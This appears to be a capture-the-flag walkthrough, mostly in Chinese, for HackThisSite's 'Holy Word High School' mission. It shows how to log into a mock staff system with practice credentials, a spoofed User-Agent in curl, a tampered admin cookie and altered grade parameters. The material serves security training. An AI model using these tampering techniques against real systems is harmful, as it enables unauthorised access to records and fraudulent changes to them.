Challenge
Fix Zach Sanchez’s failing grades through the Holy Word High School staff system.
目标是进入教职员工成绩系统,并修改 Zach Sanchez 的不及格成绩。
Solution
1. 侦察并找到 Staff 页面
主页源码和教师列表暴露了这些入口:
listteachers.phpteacherinfo.php?id=<id>staff.php教师信息页可找到 Mrs. Samantha Miller,对应登录名为 smiller。本关的练习凭据是:
username: smillerpassword: smiller2. 伪造 User-Agent
Staff 页面要求特殊的 User-Agent。使用 holy_teacher 登录:
curl -sS -A 'holy_teacher' \ --data-urlencode 'username=smiller' \ --data-urlencode 'password=smiller' \ 'https://www.hackthissite.org/missions/realistic/10/staff.php'3. 篡改权限 Cookie
登录响应设置的 admin 值为 0。在同一任务沙盒中将其改成 1,再携带 User-Agent 和会话 Cookie 访问 Staff 页面。浏览器控制台示例:
document.cookie = "admin=1; path=/";4. 篡改成绩参数
成绩页面使用 URL 参数选择学生和记录。将请求中的 changeaction 改为 modrec,并提交目标 studentid、记录编号 rec、新成绩 grade 及备注。例如,原验证记录使用:
changeaction=modrecstudentid=1rec=4 或 0grade=3comments=Improved